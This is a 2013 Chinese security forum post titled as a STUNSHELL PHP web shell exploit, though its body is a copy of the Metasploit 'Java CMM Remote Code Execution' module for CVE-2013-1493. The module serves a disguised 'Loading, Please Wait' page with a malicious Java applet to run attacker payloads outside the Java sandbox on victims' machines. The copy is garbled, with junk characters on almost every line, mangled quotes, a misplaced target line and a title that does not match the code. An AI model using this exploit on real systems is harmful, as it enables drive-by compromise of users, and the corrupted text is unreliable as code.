找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2547|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##
$ ~( T4 c4 N* V7 n2 {
; |; ?. ^, A% U# S2 t3 y3 N# This file is part of the Metasploit Framework and may be subject to
0 S* P, K/ M4 |3 I: \# redistribution and commercial restrictions. Please see the Metasploit9 V# i! {# M* n
# web site for more information on licensing and terms of use.: N8 S6 b7 J& S( H
# http://metasploit.com/
5 H3 G* i! G( p' k$ Z! f9 Y##4 Q5 G: }2 v/ ], h% p3 ?$ r
require ‘msf/core’' P/ ^  Z- H, m$ a2 L( [
require ‘rex’
8 @3 L  S$ \3 i! v) x; i3 ^class Metasploit3 < Msf::Exploit::Remote8 {- K$ s$ L% i3 ~( I
Rank = NormalRanking
& N5 [* q! c( J; A) S! G# I" rinclude Msf::Exploit::Remote::HttpServer::HTML! R9 s" @# m# e3 R6 v2 `# c2 _
include Msf::Exploit::EXE" t: v! G$ c+ N& |1 S- H7 E* y
include Msf::Exploit::Remote::BrowserAutopwn
' c. U. y& X( Q! eautopwn_info({ :javascript => false })- |+ _0 L( s/ S" b
def initialize( info = {} )# X6 W6 w$ D" j7 D% F  l3 T" E) W
super( update_info( info,
" u6 E' b% G8 Q6 z7 W/ s+ l‘Name’ => ‘Java CMM Remote Code Execution’,6 m, C& o# `; d  {
‘Description’ => %q{& v; u: v4 A4 `- D& K( P7 B6 M
This module abuses the Color Management classes from a Java Applet to run
! e9 o1 ~1 P, o7 h& ?+ W0 xarbitrary Java code outside of the sandbox as exploited in the wild in February+ Z1 h* N, Q: u6 M4 m6 I
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41+ X. `8 I: L5 m1 R" M+ ~4 z
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1/ ~+ d* I9 ~, w0 f! q
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java; J2 _) W2 }/ ^. t  r
warning in order to run the malicious applet.0 T/ S8 o0 a8 ?( i- w3 W! c" D
},
+ p6 `2 q+ W0 W; }3 K# w" O‘License’ => MSF_LICENSE,; C) G( J: q& Q) y5 e
‘Author’ =>
9 S" v& s2 X, [/ @8 F'Unknown', # Vulnerability discovery and Exploit
5 ~- y% o9 J/ q. b& _'juan vazquez' # Metasploit module (just ported the published exploit), L# P, d1 {% @1 b5 V: X
],7 X  j8 Z. e  d3 b4 }* c+ A8 P
‘References’ =>8 R! z  n* Q9 W
[
* I; ^0 [0 Y+ m* P, v[ 'CVE', '2013-1493' ],* ^. ~! v* L0 S6 `
[ 'OSVDB', '90737' ],
7 p2 X1 {9 _: A3 Z2 N[ 'BID', '58238' ],
2 o: o* N) B6 ^4 f- e% e  j- t; y[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],# g5 T+ s% R+ N' B
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],3 v' F" Z' U& L4 l8 W' c& n
[ 'URL', 'http://pastie.org/pastes/6581034' ]
" D2 A' v- [) M6 U% u],: \( Y+ h& p# u" ?& e# G# S
‘Platform’ => [ 'win', 'java' ],$ F* Y/ c2 t2 S
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
9 N4 O. P" J: {6 Y5 u  h‘Targets’ =>* m! y( a1 }- g- N! A* W% m
[
& ]1 P' r# ^% |9 }& ?* T[ 'Generic (Java Payload)',
6 R$ ^  c2 h* J* d( h2 N{
) `2 {. f* z6 s: I9 F'Platform' => 'java',# ^0 V+ ?; \: b7 ~; K& ]8 k
'Arch' => ARCH_JAVA: `) T1 @) z/ _$ v! R; n7 ?7 i! a
}
& a; S4 u6 u! Q: F  ^],
8 w2 h, y3 j* O1 [' v[ 'Windows x86 (Native Payload)',
$ r/ X) f0 S' L/ X  X9 K% M{
0 F. a, L1 I+ `" u0 C% R6 d4 l'Platform' => 'win',
& `! X3 L1 g$ X$ u5 Z4 U' A'Arch' => ARCH_X86
  Y+ g% X& F' K. j4 H& C+ {, B! `$ x}
0 ]% i, s* F/ s; y+ ?% V. ^], t5 K6 \* K7 {: g- h) o
],9 K! ^1 S, Y3 j8 {1 F; t8 ?0 o
‘‘DisclosureDate’ => ‘Mar 01 2013′& h2 m' g! t7 j" Z
))4 |# y" v( |4 u/ A
end
) ]( x" Q% N( |8 P/ K/ W# Zdef setup
' W8 X" H' f) p5 Gpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)+ u- l% X6 J0 k$ z! C
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
* a; K+ y1 }6 z4 n9 I* [3 ?) Ypath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
  \# X/ G, n) \8 ], {* S@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }: ]* W$ G" M5 R) S
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
4 e& r7 n& J9 I" c2 b@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }. L6 O  r7 }& r
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)( r5 z0 u% d6 S0 |0 `2 w
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
/ E5 r, |8 x( S0 E. Q7 y( J@init_class_name = rand_text_alpha(“Init”.length)* F; \# r9 P( ~' Q1 c! G8 l/ ]; [
@init_class.gsub!(“Init”, @init_class_name)
+ n9 \: z2 H0 M- E, N4 m- qsuper
$ D, j" x: D2 ]" n8 I  a+ tend  x/ T" s$ W4 m. `
def on_request_uri(cli, request)6 ~# I" Y+ m9 ]
print_status(“handling request for #{request.uri}”)
- b9 s. `* B9 a* I4 Scase request.uri
. f0 ]8 Q! W* M4 X. k2 owhen /\.jar$/i
! z9 o6 D1 T+ }. x# q! ]- d6 b) o- |jar = payload.encoded_jar
3 f+ C& s. U/ ]) G% O& Y( Gjar.add_file(“#{@init_class_name}.class”, @init_class)
% y% E6 ~' c# }& l+ z1 {# E) F& Ljar.add_file(“Leak.class”, @leak_class), B0 y$ w$ o4 K  G& k  L
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)0 h" o3 t0 `3 G# ^& _" K: f
jar.add_file(“MyColorSpace.class”, @color_space_class)
' f6 M5 g/ p( A5 y0 bDefaultTarget’ => 1,
  d4 ^5 A" f4 I, l/ u6 Ometasploit_str = rand_text_alpha(“metasploit”.length)
1 t" }7 H. q  @' q: @payload_str = rand_text_alpha(“payload”.length)
; Y( K7 L# U0 }8 b4 B0 Zjar.entries.each { |entry|% t0 A% @, B" d) B7 s6 v+ f: L
entry.name.gsub!(“metasploit”, metasploit_str)
' l6 S$ Q1 s" B( L6 J- `entry.name.gsub!(“Payload”, payload_str)* ?6 x- _' Y% m' z3 t
entry.data = entry.data.gsub(“metasploit”, metasploit_str)9 Q' c3 q5 w# D: @: \2 a  R0 T
entry.data = entry.data.gsub(“Payload”, payload_str)9 _' ^$ d/ h8 q- h
}
  I- F- r. ~0 R8 N3 g5 T1 Vjar.build_manifest
- X9 X3 h8 M# M5 }send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” }): S8 \9 ^' Z: h: J. V# A$ Y
when /\/$/
/ h: Q: `4 V/ j/ K+ ipayload = regenerate_payload(cli)  S- |5 `& t7 J$ ?, Z( ?
if not payload- V( ]' b3 V0 P' p
print_error(“Failed to generate the payload.”)
' g! U% [; J/ s5 psend_not_found(cli)$ H) ~  m( O- W% _: Z$ {5 X6 q
return0 k* M. Y$ n1 A8 A! F) W1 Y" q
end
- G, {* X8 f  `2 Xsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
9 G( ~  `' y8 D3 Y: P: P+ g  Y( Lelse, s4 N1 Z5 A* ^7 F8 x4 j  ^- D
send_redirect(cli, get_resource() + ‘/’, ”)
4 Z$ |! g# g' uend# ?. _1 }$ x1 U  O% V
end5 w0 G$ |& R" e, a: h6 e# b% ]- d
def generate_html
8 D3 V4 V8 f2 o8 ]0 v/ f) Vhtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|) @$ H+ W* d8 o
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|! x+ N# w- M7 H) M" F
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
; o* R8 {  I7 t2 _' B* H" \html += %Q|</applet></body></html>|: E3 M8 o8 t/ ^5 n5 \# X
return html
3 G; ]9 p" X$ J& u. I/ d5 a1 \end" ~) |4 E/ ~$ l
end& ]& y0 R/ t! z; \4 H
end7 N$ d' W/ ]! S* n1 X/ ]+ i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表